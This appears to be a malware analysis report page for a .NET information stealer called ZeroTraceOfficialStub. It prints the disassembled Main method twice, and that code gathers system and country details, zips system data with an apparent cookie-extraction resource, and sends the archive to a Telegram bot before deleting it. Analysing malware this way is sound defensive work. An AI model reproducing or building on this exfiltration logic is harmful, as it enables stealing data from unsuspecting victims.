Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
1720b7c78e5f189453910f9639b5ffea
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
ZeroTraceOfficialStub.Properties.Resources.resources
cookiesextract
ZeroTraceOfficialStub.Resources.ip.txt
ZeroTraceOfficialStub.Resources.port.txt
ZeroTraceOfficialStub.Resources.uac.txt
Name Value
Module Name
ZeroTraceOfficialStub.exe
Full Name
ZeroTraceOfficialStub.exe
EntryPoint
System.Void ZeroTrace_Client.Program::Main(System.String[])
Scope Name
ZeroTraceOfficialStub.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ZeroTraceOfficialStub
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
971
Main Method
System.Void ZeroTrace_Client.Program::Main(System.String[])
Main IL Instruction Count
210
Main IL 
call System.Void ZeroTrace_Client.Program::LoadServerSettings()
ldstr Server IP: 
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr Server Port: 
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr uac: 
ldsfld System.String ZeroTrace_Client.Program::uac
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::uac
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_005F: ldsfld System.String ZeroTrace_Client.Program::uac
call System.Boolean ZeroTrace_Client.Program::IsRunningAsAdministrator()
brtrue.s IL_007A: nop
call System.Void ZeroTrace_Client.Program::RestartAsAdministrator()
ret <null>
ldsfld System.String ZeroTrace_Client.Program::uac
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_007A: nop
ldstr uac is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
nop <null>
call System.String ZeroTrace_Client.Program::GetRealCountryInfo()
stloc.0 <null>
call System.String ZeroTrace_Client.Program::GetOSInfo()
stloc.1 <null>
call System.String ZeroTrace_Client.Program::GetGPUInfo()
stloc.2 <null>
call System.String ZeroTrace_Client.Program::GetCPUInfo()
stloc.3 <null>
call System.Boolean ZeroTrace_Client.Program::CheckFeature1()
stloc.s V_4
call System.Boolean ZeroTrace_Client.Program::CheckFeature2()
stloc.s V_5
call System.Boolean ZeroTrace_Client.Program::CheckFeature3()
stloc.s V_6
ldstr Country: 
ldloc.0 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr OS: 
ldloc.1 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr GPU: 
ldloc.2 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr CPU: 
ldloc.3 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 13
newarr System.String
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldloc.1 <null>
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldloc.2 <null>
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldloc.3 <null>
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldloc.s V_4
brtrue.s IL_012C: ldstr "1"
ldstr 0
br.s IL_0131: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldloc.s V_5
brtrue.s IL_0149: ldstr "1"
ldstr 0
br.s IL_014E: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldloc.s V_6
brtrue.s IL_0166: ldstr "1"
ldstr 0
br.s IL_016B: stelem.ref
ldstr 1
stelem.ref <null>
call System.String System.String::Concat(System.String[])
pop <null>
ldstr Creating system data zip file...
call System.Void System.Console::WriteLine(System.String)
ldnull <null>
stloc.s V_7
call System.String ZeroTrace_Client.Program::CreateSystemDataZip()
stloc.s V_7
ldloc.s V_7
brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist."
ldloc.s V_7
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist."
ldstr Zip file created successfully: 
ldloc.s V_7
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_01BA: leave.s IL_01D6
ldstr Failed to create zip file or file does not exist.
call System.Void System.Console::WriteLine(System.String)
leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken
stloc.s V_8
ldstr Error creating zip file: 
ldloc.s V_8
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldloc.s V_7
brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldloc.s V_7
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldstr Sending file to Telegram...
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::chatId
ldloc.s V_7
call System.Threading.Tasks.Task`1<System.Boolean> ZeroTrace_Client.Program::SendFileToTelegram(System.String,System.String,System.String)
callvirt System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean> System.Threading.Tasks.Task`1<System.Boolean>::GetAwaiter()
stloc.s V_9
ldloca.s V_9
call System.Boolean System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean>::GetResult()
brfalse.s IL_023C: ldstr "\nFailed to send file to Telegram."
ldstr 
File sent successfully to Telegram!
call System.Void System.Console::WriteLine(System.String)
ldloc.s V_7
call System.Void System.IO.File::Delete(System.String)
leave.s IL_0276: leave.s IL_0292
pop <null>
leave.s IL_0276: leave.s IL_0292
ldstr 
Failed to send file to Telegram.
call System.Void System.Console::WriteLine(System.String)
br.s IL_0276: leave.s IL_0292
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0260: ldstr "\nCannot send file: Bot token or chat ID is missing!"
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brfalse.s IL_026C: ldstr "\nCannot send file: Failed to create zip file!"
ldstr 
Cannot send file: Bot token or chat ID is missing!
call System.Void System.Console::WriteLine(System.String)
br.s IL_0276: leave.s IL_0292
ldstr 
Cannot send file: Failed to create zip file!
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0292: ldstr "Program will exit in 5 seconds..."
stloc.s V_10
ldstr Error: 
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0292: ldstr "Program will exit in 5 seconds..."
ldstr Program will exit in 5 seconds...
call System.Void System.Console::WriteLine(System.String)
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ret <null>
Module Name
ZeroTraceOfficialStub.exe
Full Name
ZeroTraceOfficialStub.exe
EntryPoint
System.Void ZeroTrace_Client.Program::Main(System.String[])
Scope Name
ZeroTraceOfficialStub.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ZeroTraceOfficialStub
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
971
Main Method
System.Void ZeroTrace_Client.Program::Main(System.String[])
Main IL Instruction Count
210
Main IL 
call System.Void ZeroTrace_Client.Program::LoadServerSettings()
ldstr Server IP: 
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr Server Port: 
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr uac: 
ldsfld System.String ZeroTrace_Client.Program::uac
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::uac
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_005F: ldsfld System.String ZeroTrace_Client.Program::uac
call System.Boolean ZeroTrace_Client.Program::IsRunningAsAdministrator()
brtrue.s IL_007A: nop
call System.Void ZeroTrace_Client.Program::RestartAsAdministrator()
ret <null>
ldsfld System.String ZeroTrace_Client.Program::uac
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_007A: nop
ldstr uac is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
nop <null>
call System.String ZeroTrace_Client.Program::GetRealCountryInfo()
stloc.0 <null>
call System.String ZeroTrace_Client.Program::GetOSInfo()
stloc.1 <null>
call System.String ZeroTrace_Client.Program::GetGPUInfo()
stloc.2 <null>
call System.String ZeroTrace_Client.Program::GetCPUInfo()
stloc.3 <null>
call System.Boolean ZeroTrace_Client.Program::CheckFeature1()
stloc.s V_4
call System.Boolean ZeroTrace_Client.Program::CheckFeature2()
stloc.s V_5
call System.Boolean ZeroTrace_Client.Program::CheckFeature3()
stloc.s V_6
ldstr Country: 
ldloc.0 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr OS: 
ldloc.1 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr GPU: 
ldloc.2 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldstr CPU: 
ldloc.3 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 13
newarr System.String
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldloc.1 <null>
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldloc.2 <null>
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldloc.3 <null>
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldloc.s V_4
brtrue.s IL_012C: ldstr "1"
ldstr 0
br.s IL_0131: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldloc.s V_5
brtrue.s IL_0149: ldstr "1"
ldstr 0
br.s IL_014E: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldloc.s V_6
brtrue.s IL_0166: ldstr "1"
ldstr 0
br.s IL_016B: stelem.ref
ldstr 1
stelem.ref <null>
call System.String System.String::Concat(System.String[])
pop <null>
ldstr Creating system data zip file...
call System.Void System.Console::WriteLine(System.String)
ldnull <null>
stloc.s V_7
call System.String ZeroTrace_Client.Program::CreateSystemDataZip()
stloc.s V_7
ldloc.s V_7
brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist."
ldloc.s V_7
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01B0: ldstr "Failed to create zip file or file does not exist."
ldstr Zip file created successfully: 
ldloc.s V_7
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_01BA: leave.s IL_01D6
ldstr Failed to create zip file or file does not exist.
call System.Void System.Console::WriteLine(System.String)
leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken
stloc.s V_8
ldstr Error creating zip file: 
ldloc.s V_8
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_01D6: ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldloc.s V_7
brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldloc.s V_7
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0248: ldsfld System.String ZeroTrace_Client.Program::botToken
ldstr Sending file to Telegram...
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::botToken
ldsfld System.String ZeroTrace_Client.Program::chatId
ldloc.s V_7
call System.Threading.Tasks.Task`1<System.Boolean> ZeroTrace_Client.Program::SendFileToTelegram(System.String,System.String,System.String)
callvirt System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean> System.Threading.Tasks.Task`1<System.Boolean>::GetAwaiter()
stloc.s V_9
ldloca.s V_9
call System.Boolean System.Runtime.CompilerServices.TaskAwaiter`1<System.Boolean>::GetResult()
brfalse.s IL_023C: ldstr "\nFailed to send file to Telegram."
ldstr 
File sent successfully to Telegram!
call System.Void System.Console::WriteLine(System.String)
ldloc.s V_7
call System.Void System.IO.File::Delete(System.String)
leave.s IL_0276: leave.s IL_0292
pop <null>
leave.s IL_0276: leave.s IL_0292
ldstr 
Failed to send file to Telegram.
call System.Void System.Console::WriteLine(System.String)
br.s IL_0276: leave.s IL_0292
ldsfld System.String ZeroTrace_Client.Program::botToken
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_0260: ldstr "\nCannot send file: Bot token or chat ID is missing!"
ldsfld System.String ZeroTrace_Client.Program::chatId
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brfalse.s IL_026C: ldstr "\nCannot send file: Failed to create zip file!"
ldstr 
Cannot send file: Bot token or chat ID is missing!
call System.Void System.Console::WriteLine(System.String)
br.s IL_0276: leave.s IL_0292
ldstr 
Cannot send file: Failed to create zip file!
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0292: ldstr "Program will exit in 5 seconds..."
stloc.s V_10
ldstr Error: 
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
leave.s IL_0292: ldstr "Program will exit in 5 seconds..."
ldstr Program will exit in 5 seconds...
call System.Void System.Console::WriteLine(System.String)
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ret <null>
PDB Path PATH
?huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
An error has occurred. This application may no longer respond until reloaded. Reload 🗙